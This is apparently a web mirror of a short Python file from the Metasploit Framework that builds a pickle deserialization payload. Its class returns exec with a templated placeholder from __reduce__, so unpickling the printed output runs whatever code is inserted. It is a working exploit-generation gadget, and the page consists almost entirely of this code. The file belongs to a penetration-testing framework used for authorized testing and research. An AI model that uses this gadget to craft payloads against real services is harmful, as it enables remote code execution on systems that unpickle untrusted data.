CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/python_deserialization/py3_exec.py
Views: 11766
1
import pickle
2
3
class GadgetChain:
4
def __reduce__(self):
5
return __builtins__.exec, ('#{escaped}',)
6
7
if __name__ == '__main__':
8
pickled = pickle.dumps(GadgetChain(), protocol=0)
9
print(repr(pickled.decode()))
10
11